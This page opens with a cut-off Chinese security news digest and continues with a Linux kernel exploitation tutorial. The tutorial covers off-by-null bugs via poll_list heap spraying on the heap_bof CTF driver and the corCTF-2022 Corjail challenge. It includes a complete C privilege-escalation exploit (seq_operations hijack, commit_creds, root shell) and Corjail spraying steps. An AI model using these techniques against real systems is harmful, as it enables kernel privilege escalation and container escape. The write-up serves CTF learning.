https://www.welivesecurity.com/en/eset-research/life-crooked-redline-analyzing-infamous-infostealers-backend/ 荷兰国家警方与多国执法机构联合打击RedLine窃密恶意软件后,安全公司ESET公开了2023年的研究发现,并分享了由荷兰警方提供的源代码和样本分析结果。RedLine自2020年起便作为信息窃取的恶意软件即服务(MaaS)在各大黑客论坛上出售,用户可购买订阅或永久授权,并通过控制面板生成恶意样本,收集受害者的加密货币钱包、浏览器凭证及聊天工具等信息。尽管此次行动重创了Red
4、攻击者使用ZIP串联文件策略对Windows用户传播恶意软件
https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/ 威胁行为者正利用ZIP文件的结构灵活性,通过拼接技术将恶意代码嵌入ZIP文件中,以规避安全检测。此方法依赖于不同ZIP文件读取器和压缩管理器对拼接ZIP文件处理方式的差异,使得攻击者能够针对特定工具的用户植入恶意软件。通过在ZIP文件的“文件项”、“中央目录”和“结束目录记录”结构中灵活嵌入恶意代码,威胁行为者能够有效避开安全检测。ZIP文件的设计初衷是为了简化文件处理,提高数据传输效率,但这也给攻击者带来了利用空间。
5、恶意Python包伪装成SSH自动化函数库fabric窃取AWS凭证
https://socket.dev/blog/malicious-python-package-typosquats-fabric-ssh-library Socket研究团队近日发现,一个名为“fabrice”的恶意Python包伪装成流行的Fabric库,利用“typosquatting”技术迷惑开发者并进行凭证窃取。该包自2021年在PyPI上线以来已被下载超过37,000次,默默窃取了众多用户的AWS凭证。此类利用开源库的恶意行为给依赖开源软件的开发者带来巨大的安全风险,类似情况曾出现在近期席卷npm的恶意软件攻击中。bitprophet开发的原版Fabric库备受信赖,拥有超过2
6、诈骗分子针对英国老年人发送名为冬季燃料补贴的虚假短信
https://www.bleepingcomputer.com/news/security/scammers-target-uk-senior-citizens-with-winter-fuel-payment-texts/ 随着冬季来临,一波针对英国老年居民的取暖补贴和生活费援助诈骗短信正在蔓延。诈骗者伪装成政府部门,以“冬季取暖补贴”和“生活补助”为名,向居民发送虚假短信,诱骗他们点击非法链接并填写个人及支付信息。这一诈骗活动恰逢英国政府近期决定削减冬季燃料补贴之际,政策变化引发了广泛关注。该补贴原本由英国工作与养老金部(DWP)每年向65岁以上居民发放,以帮助他们负担冬季取暖费用。然
7、国际刑警组织:网络犯罪席卷全球每39秒就发生一次黑客攻击
https://baijiahao.baidu.com/s?id=1815123071568565469 据阿联酋《国民报》网站报道,国际刑警组织披露,一波“空前”的网络犯罪浪潮席卷全球,每39秒就会发生一次黑客攻击,给受害者造成重大经济损失。
8、美国警方报告:苹果iOS 18新安全措施提高了 iPhone 取证难度
https://www.ithome.com/0/808/794.htm 科技媒体 404media 披露了一份美国密歇根州底特律执法部门的报告,称 iOS 18 系统添加新的安全措施,导致在数字取证过程中 iPhone 自发重启进入未解锁状态,提高了取证难度。
9、澳大利亚政府采取行动禁止 16 岁以下儿童使用社交媒体
https://cybernews.com/news/australian-government-to-ban-social-media-for-kids-under-16/ 澳大利亚总理安东尼·阿尔巴尼斯 (Anthony Albanese) 公布了“世界领先的”计划,将访问社交媒体的最低年龄设定为 16 岁,包括 Instagram、TikTok、Facebook、X 甚至 YouTube。
10、中国游戏玩家正成为 Winos4.0 框架骗局的目标
https://www.darkreading.com/threat-intelligence/chinese-gamers-targeted-winos40-framework-scam 研究人员警告说,一个名为 Winos4.0,且针对中文用户的高级恶意框架正在利用游戏应用程序的安装工具、加速器和优化实用程序分发。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Linux kernel 堆溢出利用方法(二)
前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。
off by null
我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?
利用思路
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 1G \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=2 \
--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。
struct pollfd {
int fd;
short events;
short revents;
};
struct poll_list {
struct poll_list *next; // 指向下一个poll_list
int len; // 对应于条目数组中pollfd结构的数量
struct pollfd entries[]; // 存储pollfd结构的数组
};
poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。
poll_list 分配/释放
do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
[...]
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;
if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len = min_t(unsigned int, nfds, N_STACK_PPS);
for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;
if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
goto out_fds;
todo -= walk->len;
if (!todo)
break;
/*
* [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
* 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len = min(todo, POLLFD_PER_PAGE);
/*
* [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
*/
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
/*
* [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
*/
fdcount = do_poll(head, &table, end_time);
poll_freewait(&table);
if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;
for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;
for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}
我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。
详细流程
首先分配 kmalloc-4096 大小的结构题在ptr[0];
然后构造这样的poll_list结构体。
利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。
等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。
提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_shell(void) {
system("/bin/sh");
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/*--------------------------------------------------------------------------------------------------*/
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "pwn_%d", id);
return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t tid[40];
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
void* alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
poll(pfds, nfds, timer);
}
void* create_poll_list(size_t size, int timer, int i) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
args->timer = timer;
pthread_create(&tid[i], NULL, alloc_poll_list, args);
}
/*--------------------------------------------------------------------------------------------------*/
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
/*--------------------------------------------------------------------------------------------------*/
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;
size_t kernel_offset;
void get_root() {
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
int main() {
save_status();
signal(SIGSEGV, (void *) get_shell);
bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];
printf("[*] try to alloc_kmalloc-4096\n");
size_t* mem = malloc(0x1010);
memset(mem, '\xff', 0x1010);
struct param p = {0x1000, (char*)mem, 0};
ioctl(bof_fd, BOF_MALLOC, &p);
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 1; i < 20; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
printf("[*] try to alloc_poll_list\n");
for (int i = 0; i < 14; ++i)
{
create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
}
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 20; i < 40; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
p.len = 0x1001;
p.idx = 0;
memset(mem, '\x00', 0x1001);
ioctl(bof_fd, BOF_EDIT, &p);
void *res;
for (int i = 0; i < 14; ++i)
{
printf("[*] wating for poll end\n");
pthread_join(tid[i], &res);
}
for (int i = 0; i < 256; ++i)
{
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
sleep(1);
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
mem[0] = (size_t*)get_root;
mem[1] = (size_t*)get_root;
mem[2] = (size_t*)get_root;
mem[3] = (size_t*)get_root;
ioctl(bof_fd, BOF_EDIT, &p);
}
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
}
for (int i = 0; i < 256; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh
#!/bin/sh
qemu-system-x86_64 \
-m 1G \
-nographic \
-no-reboot \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
-hda coros.qcow2 \
-snapshot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap,+rdrand \
-smp cores=4 \
--enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service;
Description=Initialize challenge
[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
[Install]
WantedBy=multi-user.target
查看 /usr/local/bin/init 脚本;
cat /usr/local/bin/init
#!/bin/bash
USER=user
FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
useradd --create-home --shell /bin/bash $USER
echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
chmod -r 0700 /home/$USER
mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG
password
❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看root用户的/usr/local/bin/jail;
><fs> cat /usr/local/bin/jail
#!/bin/bash
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
-v /proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff -f
发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。
为了方便调试,我们可以使用edit将其修改为:
><fs> edit /usr/local/bin/jail
><fs> cat /usr/local/bin/jail
#!/bin/bash
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp /exploit /home/user || echo "[!] exploit not found, skipping"
chown -R user:user /home/user
echo 0 > /proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG \
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw \
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host \
corcontainer
/bin/bash
/usr/sbin/poweroff -f
edit 的用法和 vim 一样。
后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:
><fs> help upload
NAME
upload - upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Upload local file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also "download".
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
static long __do_sys_##sname(const struct pt_regs *__unused); \
__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS 6
-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。
{
"defaultAction": "SCMP_ACT_ERRNO",
"defaultErrnoRet": 1,
"syscalls": [
{
"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [ "clone" ],
"action": "SCMP_ACT_ALLOW",
"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
}
]
}
根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
9 16 25 18 sys_poll (7)
0 0 0 0 sys_fork (57)
66 64 79 60 sys_execve (59)
0 0 0 0 sys_msgget (68)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
0 0 0 0 sys_ptrace (101)
15 19 11 6 sys_setxattr (188)
27 24 11 20 sys_keyctl (250)
0 0 2 2 sys_unshare (272)
0 1 0 0 sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write 存在明显的off-by-null。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset = *ppos;
char *syscalls;
size_t len;
if (offset < 0)
return -EINVAL;
if (offset >= PAGE_SIZE || !count)
return 0;
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00';
if (update_filter(syscalls))
{
kfree(syscalls);
return -EINVAL;
}
kfree(syscalls);
return count;
}
利用思路
在 poll_list 利用方式中:
先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。
然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。
触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。
然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。
通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。
注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
[...]
if (size) {
[...]
kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
if (!kvalue)
return -ENOMEM;
// 修改kmalloc-x内容
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
[...]
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // 释放kmalloc-x
return error;
}
另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。
